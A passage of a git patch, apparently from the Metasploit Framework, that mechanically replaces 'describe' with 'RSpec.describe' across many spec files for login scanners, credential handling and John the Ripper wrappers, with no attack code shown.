+- spec/lib/msf/core/opt_bool_spec.rb | 2 +- spec/lib/msf/core/opt_enum_spec.rb | 2 +- spec/lib/msf/core/opt_int_spec.rb | 2 +- spec/lib/msf/core/opt_path_spec.rb | 2 +- spec/lib/msf/core/opt_port_spec.rb | 2 +- spec/lib/msf/core/opt_raw_spec.rb | 2 +- spec/lib/msf/core/opt_regexp_spec.rb | 2 +- spec/lib/msf/core/opt_spec.rb | 2 +- spec/lib/msf/core/option_container_spec.rb | 2 +- spec/lib/msf/core/payload_generator_spec.rb | 2 +- spec/lib/msf/core/platform_spec.rb | 2 +- spec/lib/msf/core/post/android/priv_spec.rb | 2 +- spec/lib/msf/core/post/android/system_spec.rb | 2 +- spec/lib/msf/core/post/linux/busy_box_spec.rb | 2 +- spec/lib/msf/core/post/windows/mssql_spec.rb | 2 +- spec/lib/msf/core/post/windows/priv_spec.rb | 2 +- spec/lib/msf/core/post/windows/runas_spec.rb | 2 +- spec/lib/msf/core/reference_spec.rb | 2 +- spec/lib/msf/core/rpc/v10/rpc_core_spec.rb | 2 +- spec/lib/msf/core/site_reference_spec.rb | 2 +- spec/lib/msf/core/target_spec.rb | 2 +- spec/lib/msf/db_manager/export_spec.rb | 2 +- spec/lib/msf/db_manager_spec.rb | 2 +- .../lib/msf/ui/console/command_dispatcher/auxiliary_spec.rb | 2 +- spec/lib/msf/ui/console/command_dispatcher/core_spec.rb | 2 +- spec/lib/msf/ui/console/command_dispatcher/db_spec.rb | 2 +- spec/lib/msf/ui/console/command_dispatcher/exploit_spec.rb | 2 +- spec/lib/net/dns/rr/classes_spec.rb | 2 +- spec/lib/net/dns/rr/types_spec.rb | 2 +- spec/lib/rex/arch/sparc_spec.rb | 2 +- spec/lib/rex/arch/x86_spec.rb | 2 +- spec/lib/rex/arch/zarch_spec.rb | 2 +- spec/lib/rex/arch_spec.rb | 2 +- spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb | 2 +- spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb | 2 +- spec/lib/rex/encoder/alpha2/generic_spec.rb | 2 +- spec/lib/rex/encoder/alpha2/unicode_mixed_spec.rb | 2 +- spec/lib/rex/encoder/alpha2/unicode_upper_spec.rb | 2 +- spec/lib/rex/encoder/ndr_spec.rb | 2 +- spec/lib/rex/encoder/nonalpha_spec.rb | 2 +- spec/lib/rex/encoder/xdr_spec.rb | 2 +- spec/lib/rex/encoding/xor/byte_spec.rb | 2 +- spec/lib/rex/encoding/xor/dword_spec.rb | 2 +- spec/lib/rex/encoding/xor/qword_spec.rb | 2 +- spec/lib/rex/encoding/xor/word_spec.rb | 2 +- spec/lib/rex/exploitation/cmdstager/base_spec.rb | 2 +- spec/lib/rex/exploitation/cmdstager/bourne_spec.rb | 2 +- spec/lib/rex/exploitation/cmdstager/certutil_spec.rb | 2 +- spec/lib/rex/exploitation/cmdstager/debug_asm_spec.rb | 2 +- spec/lib/rex/exploitation/cmdstager/debug_write_spec.rb | 2 +- spec/lib/rex/exploitation/cmdstager/echo_spec.rb | 2 +- spec/lib/rex/exploitation/cmdstager/printf_spec.rb | 2 +- spec/lib/rex/exploitation/cmdstager/tftp_spec.rb | 2 +- spec/lib/rex/exploitation/cmdstager/vbs_spec.rb | 2 +- spec/lib/rex/exploitation/encryptjs_spec.rb | 2 +- spec/lib/rex/exploitation/heaplib_spec.rb | 2 +- spec/lib/rex/exploitation/js/detect_spec.rb | 2 +- spec/lib/rex/exploitation/js/memory_spec.rb | 2 +- spec/lib/rex/exploitation/js/network_spec.rb | 2 +- spec/lib/rex/exploitation/js/utils_spec.rb | 2 +- spec/lib/rex/exploitation/jsobfu_spec.rb | 2 +- spec/lib/rex/exploitation/ropdb_spec.rb | 2 +- spec/lib/rex/file_utils_spec.rb | 2 +- spec/lib/rex/image_source/disk_spec.rb | 2 +- spec/lib/rex/image_source/memory_spec.rb | 2 +- spec/lib/rex/java/serialization/builder_spec.rb | 2 +- spec/lib/rex/java/serialization/model/annotation_spec.rb | 2 +- .../rex/java/serialization/model/block_data_long_spec.rb | 2 +- spec/lib/rex/java/serialization/model/block_data_spec.rb | 2 +- spec/lib/rex/java/serialization/model/class_desc_spec.rb | 2 +- spec/lib/rex/java/serialization/model/field_spec.rb | 2 +- spec/lib/rex/java/serialization/model/long_utf_spec.rb | 2 +- spec/lib/rex/java/serialization/model/new_array_spec.rb | 2 +- .../lib/rex/java/serialization/model/new_class_desc_spec.rb | 2 +- spec/lib/rex/java/serialization/model/new_enum_spec.rb | 2 +- spec/lib/rex/java/serialization/model/new_object_spec.rb | 2 +- .../rex/java/serialization/model/proxy_class_desc_spec.rb | 2 +- spec/lib/rex/java/serialization/model/stream_spec.rb | 2 +- spec/lib/rex/java/serialization/model/utf_spec.rb | 2 +- spec/lib/rex/mac_oui_spec.rb | 2 +- spec/lib/rex/mime/encoding_spec.rb | 2 +- spec/lib/rex/mime/header_spec.rb | 2 +- spec/lib/rex/mime/message_spec.rb | 2 +- spec/lib/rex/mime/part_spec.rb | 2 +- spec/lib/rex/ole/clsid_spec.rb | 2 +- spec/lib/rex/ole/difat_spec.rb | 2 +- spec/lib/rex/ole/direntry_spec.rb | 2 +- spec/lib/rex/ole/header_spec.rb | 2 +- spec/lib/rex/ole/minifat_spec.rb | 2 +- spec/lib/rex/ole/util_spec.rb | 2 +- spec/lib/rex/parser/group_policy_preferences_spec.rb | 2 +- spec/lib/rex/parser/nmap_xml_spec.rb | 2 +- spec/lib/rex/parser/unattend_spec.rb | 2 +- spec/lib/rex/parser/winscp_spec.rb | 2 +- spec/lib/rex/payloads/meterpreter/uri_checksum_spec.rb | 2 +- spec/lib/rex/post/meterpreter/client_core_spec.rb | 2 +- spec/lib/rex/post/meterpreter/extensions/priv/priv_spec.rb | 2 +- spec/lib/rex/post/meterpreter/extensions/stdapi/ui_spec.rb | 2 +- spec/lib/rex/post/meterpreter/packet_parser_spec.rb | 2 +- spec/lib/rex/post/meterpreter/packet_spec.rb | 6 +++--- spec/lib/rex/post/meterpreter/ui/console.rb | 2 +- spec/lib/rex/post/meterpreter_spec.rb | 2 +- spec/lib/rex/powershell/command_spec.rb | 2 +- spec/lib/rex/powershell/function_spec.rb | 2 +- spec/lib/rex/powershell/obfu_spec.rb | 2 +- spec/lib/rex/powershell/output_spec.rb | 2 +- spec/lib/rex/powershell/param_spec.rb | 2 +- spec/lib/rex/powershell/parser_spec.rb | 2 +- spec/lib/rex/powershell/psh_methods_spec.rb | 2 +- spec/lib/rex/powershell/script_spec.rb | 2 +- spec/lib/rex/powershell_spec.rb | 2 +- spec/lib/rex/proto/acpp/message_spec.rb | 2 +- spec/lib/rex/proto/http/client_request_spec.rb | 2 +- spec/lib/rex/proto/http/client_spec.rb | 2 +- spec/lib/rex/proto/http/packet/header_spec.rb | 2 +- spec/lib/rex/proto/http/packet_spec.rb | 2 +- spec/lib/rex/proto/http/response_spec.rb | 2 +- spec/lib/rex/proto/kademlia/bootstrap_request_spec.rb | 2 +- spec/lib/rex/proto/kademlia/bootstrap_response_spec.rb | 2 +- spec/lib/rex/proto/kademlia/message_spec.rb | 2 +- spec/lib/rex/proto/kademlia/ping_spec.rb | 2 +- spec/lib/rex/proto/kademlia/pong_spec.rb | 2 +- spec/lib/rex/proto/kademlia/util_spec.rb | 2 +- spec/lib/rex/proto/kerberos/client_spec.rb | 2 +- spec/lib/rex/proto/kerberos/credential_cache/cache_spec.rb | 2 +- .../rex/proto/kerberos/credential_cache/credential_spec.rb | 2 +- spec/lib/rex/proto/kerberos/credential_cache/key_block.rb | 2 +- .../rex/proto/kerberos/credential_cache/principal_spec.rb | 2 +- spec/lib/rex/proto/kerberos/credential_cache/time_spec.rb | 2 +- spec/lib/rex/proto/kerberos/model/ap_req_spec.rb | 2 +- spec/lib/rex/proto/kerberos/model/authenticator_spec.rb | 2 +- .../lib/rex/proto/kerberos/model/authorization_data_spec.rb | 2 +- spec/lib/rex/proto/kerberos/model/checksum_spec.rb | 2 +- spec/lib/rex/proto/kerberos/model/enc_kdc_response_spec.rb | 2 +- spec/lib/rex/proto/kerberos/model/encrypted_data_spec.rb | 2 +- spec/lib/rex/proto/kerberos/model/kdc_request_body_spec.rb | 2 +- spec/lib/rex/proto/kerberos/model/kdc_request_spec.rb | 2 +- spec/lib/rex/proto/kerberos/model/kdc_response_spec.rb | 2 +- spec/lib/rex/proto/kerberos/model/krb_error_spec.rb | 2 +- spec/lib/rex/proto/kerberos/model/pre_auth_data_spec.rb | 2 +- .../proto/kerberos/model/pre_auth_enc_time_stamp_spec.rb | 2 +- .../rex/proto/kerberos/model/pre_auth_pac_request_spec.rb | 2 +- spec/lib/rex/proto/kerberos/model/principal_name_spec.rb | 2 +- spec/lib/rex/proto/kerberos/model/ticket_spec.rb | 2 +- spec/lib/rex/proto/kerberos/pac/client_info_spec.rb | 2 +- spec/lib/rex/proto/kerberos/pac/logon_info_spec.rb | 2 +- spec/lib/rex/proto/kerberos/pac/priv_srv_checksum_spec.rb | 2 +- spec/lib/rex/proto/kerberos/pac/server_checksum_spec.rb | 2 +- spec/lib/rex/proto/kerberos/pac/type_spec.rb | 2 +- spec/lib/rex/proto/natpmp/packet_spec.rb | 2 +- spec/lib/rex/proto/ntp/modes_spec.rb | 2 +- spec/lib/rex/proto/pjl/client_spec.rb | 2 +- spec/lib/rex/proto/quake/message_spec.rb | 2 +- spec/lib/rex/proto/rmi/model/call_data_spec.rb | 2 +- spec/lib/rex/proto/rmi/model/call_spec.rb | 2 +- spec/lib/rex/proto/rmi/model/continuation_spec.rb | 2 +- spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb | 2 +- spec/lib/rex/proto/rmi/model/output_header_spec.rb | 2 +- spec/lib/rex/proto/rmi/model/ping_ack_spec.rb | 2 +- spec/lib/rex/proto/rmi/model/ping_spec.rb | 2 +- spec/lib/rex/proto/rmi/model/protocol_ack_spec.rb | 2 +- spec/lib/rex/proto/rmi/model/return_data_spec.rb | 2 +- spec/lib/rex/proto/rmi/model/return_value_spec.rb | 2 +- spec/lib/rex/proto/rmi/model/unique_identifier_spec.rb | 2 +- spec/lib/rex/proto/sip/response_spec.rb | 2 +- spec/lib/rex/proto/steam/message_spec.rb | 2 +- spec/lib/rex/random_identifier_generator_spec.rb | 2 +- spec/lib/rex/socket/range_walker_spec.rb | 2 +- spec/lib/rex/socket_spec.rb | 2 +- spec/lib/rex/sslscan/result_spec.rb | 2 +- spec/lib/rex/sslscan/scanner_spec.rb | 2 +- spec/lib/rex/text_spec.rb | 2 +- spec/lib/rex/time_spec.rb | 2 +- spec/models/metasploit/credential/core_spec.rb | 2 +- spec/modules/payloads_spec.rb | 2 +- spec/modules_spec.rb | 2 +- spec/msfupdate_spec.rb | 2 +- spec/tools/cpassword_decrypt_spec.rb | 2 +- spec/tools/egghunter_spec.rb | 2 +- spec/tools/java_deserializer_spec.rb | 2 +- spec/tools/jsobfu_spec.rb | 2 +- spec/tools/md5_lookup_spec.rb | 2 +- spec/tools/msu_finder_spec.rb | 2 +- spec/tools/virustotal_spec.rb | 2 +- 293 files changed, 295 insertions(+), 296 deletions(-) diff --git a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb index 8196f7fd59..b9be0ab0dc 100644 --- a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb +++ b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb @@ -1,7 +1,7 @@ # -*- coding:binary -*- require 'spec_helper' -describe ActiveRecord::ConnectionAdapters::ConnectionPool do +RSpec.describe ActiveRecord::ConnectionAdapters::ConnectionPool do self.use_transactional_fixtures = false def database_configurations diff --git a/spec/lib/metasploit/framework/credential_collection_spec.rb b/spec/lib/metasploit/framework/credential_collection_spec.rb index cfe583036b..165d35d59f 100644 --- a/spec/lib/metasploit/framework/credential_collection_spec.rb +++ b/spec/lib/metasploit/framework/credential_collection_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/credential_collection' -describe Metasploit::Framework::CredentialCollection do +RSpec.describe Metasploit::Framework::CredentialCollection do subject(:collection) do described_class.new( diff --git a/spec/lib/metasploit/framework/credential_spec.rb b/spec/lib/metasploit/framework/credential_spec.rb index b834d21251..a7b929c032 100644 --- a/spec/lib/metasploit/framework/credential_spec.rb +++ b/spec/lib/metasploit/framework/credential_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/credential' -describe Metasploit::Framework::Credential do +RSpec.describe Metasploit::Framework::Credential do subject(:cred_detail) { described_class.new diff --git a/spec/lib/metasploit/framework/jtr/cracker_spec.rb b/spec/lib/metasploit/framework/jtr/cracker_spec.rb index 13d16c8c63..2c48ac27d7 100644 --- a/spec/lib/metasploit/framework/jtr/cracker_spec.rb +++ b/spec/lib/metasploit/framework/jtr/cracker_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/jtr/cracker' -describe Metasploit::Framework::JtR::Cracker do +RSpec.describe Metasploit::Framework::JtR::Cracker do subject(:cracker) { described_class.new } let(:john_path) { '/path/to/john' } diff --git a/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb b/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb index 192ae127f8..93a83cac80 100644 --- a/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb +++ b/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/jtr/invalid_wordlist' -describe Metasploit::Framework::JtR::InvalidWordlist do +RSpec.describe Metasploit::Framework::JtR::InvalidWordlist do subject(:invalid) do described_class.new(model) diff --git a/spec/lib/metasploit/framework/jtr/wordlist_spec.rb b/spec/lib/metasploit/framework/jtr/wordlist_spec.rb index ba0839664b..03a6025f02 100644 --- a/spec/lib/metasploit/framework/jtr/wordlist_spec.rb +++ b/spec/lib/metasploit/framework/jtr/wordlist_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/jtr/wordlist' -describe Metasploit::Framework::JtR::Wordlist do +RSpec.describe Metasploit::Framework::JtR::Wordlist do subject(:wordlist) { described_class.new } diff --git a/spec/lib/metasploit/framework/login_scanner/afp_spec.rb b/spec/lib/metasploit/framework/login_scanner/afp_spec.rb index 617d28f0d7..c1688c578e 100644 --- a/spec/lib/metasploit/framework/login_scanner/afp_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/afp_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/afp' -describe Metasploit::Framework::LoginScanner::AFP do +RSpec.describe Metasploit::Framework::LoginScanner::AFP do subject(:scanner) { described_class.new } diff --git a/spec/lib/metasploit/framework/login_scanner/axis2_spec.rb b/spec/lib/metasploit/framework/login_scanner/axis2_spec.rb index e75465609e..d59dc79ee9 100644 --- a/spec/lib/metasploit/framework/login_scanner/axis2_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/axis2_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/axis2' -describe Metasploit::Framework::LoginScanner::Axis2 do +RSpec.describe Metasploit::Framework::LoginScanner::Axis2 do it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' diff --git a/spec/lib/metasploit/framework/login_scanner/base_spec.rb b/spec/lib/metasploit/framework/login_scanner/base_spec.rb index b30725fe12..630c9f4e6b 100644 --- a/spec/lib/metasploit/framework/login_scanner/base_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/base_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/base' -describe Metasploit::Framework::LoginScanner::Base do +RSpec.describe Metasploit::Framework::LoginScanner::Base do let(:base_class) { Class.new do diff --git a/spec/lib/metasploit/framework/login_scanner/buffalo_spec.rb b/spec/lib/metasploit/framework/login_scanner/buffalo_spec.rb index c348825798..ad6fe372ba 100644 --- a/spec/lib/metasploit/framework/login_scanner/buffalo_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/buffalo_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/buffalo' -describe Metasploit::Framework::LoginScanner::Buffalo do +RSpec.describe Metasploit::Framework::LoginScanner::Buffalo do it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' diff --git a/spec/lib/metasploit/framework/login_scanner/chef_webui_spec.rb b/spec/lib/metasploit/framework/login_scanner/chef_webui_spec.rb index 523b8288d5..7abc1de405 100644 --- a/spec/lib/metasploit/framework/login_scanner/chef_webui_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/chef_webui_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/chef_webui' -describe Metasploit::Framework::LoginScanner::ChefWebUI do +RSpec.describe Metasploit::Framework::LoginScanner::ChefWebUI do subject(:http_scanner) { described_class.new } diff --git a/spec/lib/metasploit/framework/login_scanner/db2_spec.rb b/spec/lib/metasploit/framework/login_scanner/db2_spec.rb index d682445de8..596bc12623 100644 --- a/spec/lib/metasploit/framework/login_scanner/db2_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/db2_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/db2' -describe Metasploit::Framework::LoginScanner::DB2 do +RSpec.describe Metasploit::Framework::LoginScanner::DB2 do let(:public) { 'root' } let(:private) { 'toor' } let(:test_cred) { diff --git a/spec/lib/metasploit/framework/login_scanner/ftp_spec.rb b/spec/lib/metasploit/framework/login_scanner/ftp_spec.rb index 1b7acf5053..324ae7e506 100644 --- a/spec/lib/metasploit/framework/login_scanner/ftp_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/ftp_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/ftp' -describe Metasploit::Framework::LoginScanner::FTP do +RSpec.describe Metasploit::Framework::LoginScanner::FTP do let(:public) { 'root' } let(:private) { 'toor' } diff --git a/spec/lib/metasploit/framework/login_scanner/gitlab_spec.rb b/spec/lib/metasploit/framework/login_scanner/gitlab_spec.rb index c34014fd8b..c6915fed90 100644 --- a/spec/lib/metasploit/framework/login_scanner/gitlab_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/gitlab_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/gitlab' -describe Metasploit::Framework::LoginScanner::GitLab do +RSpec.describe Metasploit::Framework::LoginScanner::GitLab do it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' diff --git a/spec/lib/metasploit/framework/login_scanner/glassfish_spec.rb b/spec/lib/metasploit/framework/login_scanner/glassfish_spec.rb index 094ff19e27..26250d25c0 100644 --- a/spec/lib/metasploit/framework/login_scanner/glassfish_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/glassfish_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/glassfish' -describe Metasploit::Framework::LoginScanner::Glassfish do +RSpec.describe Metasploit::Framework::LoginScanner::Glassfish do subject(:http_scanner) { described_class.new } diff --git a/spec/lib/metasploit/framework/login_scanner/http_spec.rb b/spec/lib/metasploit/framework/login_scanner/http_spec.rb index 5f26ff7271..085848b806 100644 --- a/spec/lib/metasploit/framework/login_scanner/http_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/http_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/http' -describe Metasploit::Framework::LoginScanner::HTTP do +RSpec.describe Metasploit::Framework::LoginScanner::HTTP do it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' diff --git a/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb b/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb index 1db6b7f4cf..2f2304a731 100644 --- a/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/invalid' -describe Metasploit::Framework::LoginScanner::Invalid do +RSpec.describe Metasploit::Framework::LoginScanner::Invalid do subject(:invalid) do described_class.new(model) diff --git a/spec/lib/metasploit/framework/login_scanner/ipboard_spec.rb b/spec/lib/metasploit/framework/login_scanner/ipboard_spec.rb index 593f8fbd8c..b6f74bc971 100644 --- a/spec/lib/metasploit/framework/login_scanner/ipboard_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/ipboard_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/ipboard' -describe Metasploit::Framework::LoginScanner::IPBoard do +RSpec.describe Metasploit::Framework::LoginScanner::IPBoard do subject { described_class.new } diff --git a/spec/lib/metasploit/framework/login_scanner/jenkins_spec.rb b/spec/lib/metasploit/framework/login_scanner/jenkins_spec.rb index 67053e63dd..ca6aa2fe73 100644 --- a/spec/lib/metasploit/framework/login_scanner/jenkins_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/jenkins_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/jenkins' -describe Metasploit::Framework::LoginScanner::Jenkins do +RSpec.describe Metasploit::Framework::LoginScanner::Jenkins do it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' diff --git a/spec/lib/metasploit/framework/login_scanner/manageengine_desktop_central_spec.rb b/spec/lib/metasploit/framework/login_scanner/manageengine_desktop_central_spec.rb index f657ef91a6..e8a877bd71 100644 --- a/spec/lib/metasploit/framework/login_scanner/manageengine_desktop_central_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/manageengine_desktop_central_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/manageengine_desktop_central' -describe Metasploit::Framework::LoginScanner::ManageEngineDesktopCentral do +RSpec.describe Metasploit::Framework::LoginScanner::ManageEngineDesktopCentral do it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' diff --git a/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb b/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb index 4acf939fce..1fd48bd2e4 100644 --- a/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/mssql' -describe Metasploit::Framework::LoginScanner::MSSQL do +RSpec.describe Metasploit::Framework::LoginScanner::MSSQL do let(:public) { 'root' } let(:private) { 'toor' } diff --git a/spec/lib/metasploit/framework/login_scanner/mybook_live_spec.rb b/spec/lib/metasploit/framework/login_scanner/mybook_live_spec.rb index 9ad1c2ffdd..951ace0bd4 100644 --- a/spec/lib/metasploit/framework/login_scanner/mybook_live_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/mybook_live_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/mybook_live' -describe Metasploit::Framework::LoginScanner::MyBookLive do +RSpec.describe Metasploit::Framework::LoginScanner::MyBookLive do it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' diff --git a/spec/lib/metasploit/framework/login_scanner/mysql_spec.rb b/spec/lib/metasploit/framework/login_scanner/mysql_spec.rb index d9ca3d1ce4..416614e0e5 100644 --- a/spec/lib/metasploit/framework/login_scanner/mysql_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/mysql_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/mysql' -describe Metasploit::Framework::LoginScanner::MySQL do +RSpec.describe Metasploit::Framework::LoginScanner::MySQL do let(:public) { 'root' } let(:private) { 'toor' } let(:pub_blank) { diff --git a/spec/lib/metasploit/framework/login_scanner/nessus_spec.rb b/spec/lib/metasploit/framework/login_scanner/nessus_spec.rb index 335abc7957..c1f5e1c540 100644 --- a/spec/lib/metasploit/framework/login_scanner/nessus_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/nessus_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/nessus' -describe Metasploit::Framework::LoginScanner::Nessus do +RSpec.describe Metasploit::Framework::LoginScanner::Nessus do subject(:http_scanner) { described_class.new } diff --git a/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb b/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb index ce686c4d07..21a8680fe3 100644 --- a/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/pop3' -describe Metasploit::Framework::LoginScanner::POP3 do +RSpec.describe Metasploit::Framework::LoginScanner::POP3 do subject(:scanner) { described_class.new } it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false diff --git a/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb b/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb index 074f098fe3..fe4e1e6856 100644 --- a/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/postgres' -describe Metasploit::Framework::LoginScanner::Postgres do +RSpec.describe Metasploit::Framework::LoginScanner::Postgres do let(:public) { 'root' } let(:private) { 'toor' } let(:realm) { 'template1' } diff --git a/spec/lib/metasploit/framework/login_scanner/result_spec.rb b/spec/lib/metasploit/framework/login_scanner/result_spec.rb index 62103d47e4..fb22b6b1b3 100644 --- a/spec/lib/metasploit/framework/login_scanner/result_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/result_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner' -describe Metasploit::Framework::LoginScanner::Result do +RSpec.describe Metasploit::Framework::LoginScanner::Result do let(:private) { 'toor' } let(:proof) { 'foobar' } diff --git a/spec/lib/metasploit/framework/login_scanner/smb_spec.rb b/spec/lib/metasploit/framework/login_scanner/smb_spec.rb index 2986b3ef99..67327c6ad1 100644 --- a/spec/lib/metasploit/framework/login_scanner/smb_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/smb_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/smb' -describe Metasploit::Framework::LoginScanner::SMB do +RSpec.describe Metasploit::Framework::LoginScanner::SMB do let(:public) { 'root' } let(:private) { 'toor' } diff --git a/spec/lib/metasploit/framework/login_scanner/smh_spec.rb b/spec/lib/metasploit/framework/login_scanner/smh_spec.rb index ea33ad1fb8..266f5cb397 100644 --- a/spec/lib/metasploit/framework/login_scanner/smh_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/smh_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/smh' -describe Metasploit::Framework::LoginScanner::Smh do +RSpec.describe Metasploit::Framework::LoginScanner::Smh do subject(:smh_cli) { described_class.new } diff --git a/spec/lib/metasploit/framework/login_scanner/snmp_spec.rb b/spec/lib/metasploit/framework/login_scanner/snmp_spec.rb index 99ccfbdca5..c548af97db 100644 --- a/spec/lib/metasploit/framework/login_scanner/snmp_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/snmp_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/snmp' -describe Metasploit::Framework::LoginScanner::SNMP do +RSpec.describe Metasploit::Framework::LoginScanner::SNMP do let(:public) { 'public' } let(:private) { nil } diff --git a/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb b/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb index e36d723c72..93fba3a081 100644 --- a/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/ssh' -describe Metasploit::Framework::LoginScanner::SSH do +RSpec.describe Metasploit::Framework::LoginScanner::SSH do let(:public) { 'root' } let(:private) { 'toor' } let(:key) { OpenSSL::PKey::RSA.generate(2048).to_s } diff --git a/spec/lib/metasploit/framework/login_scanner/symantec_web_gateway_spec.rb b/spec/lib/metasploit/framework/login_scanner/symantec_web_gateway_spec.rb index 597cb3c71c..20a2fbef70 100644 --- a/spec/lib/metasploit/framework/login_scanner/symantec_web_gateway_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/symantec_web_gateway_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/symantec_web_gateway' -describe Metasploit::Framework::LoginScanner::SymantecWebGateway do +RSpec.describe Metasploit::Framework::LoginScanner::SymantecWebGateway do it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' diff --git a/spec/lib/metasploit/framework/login_scanner/telnet_spec.rb 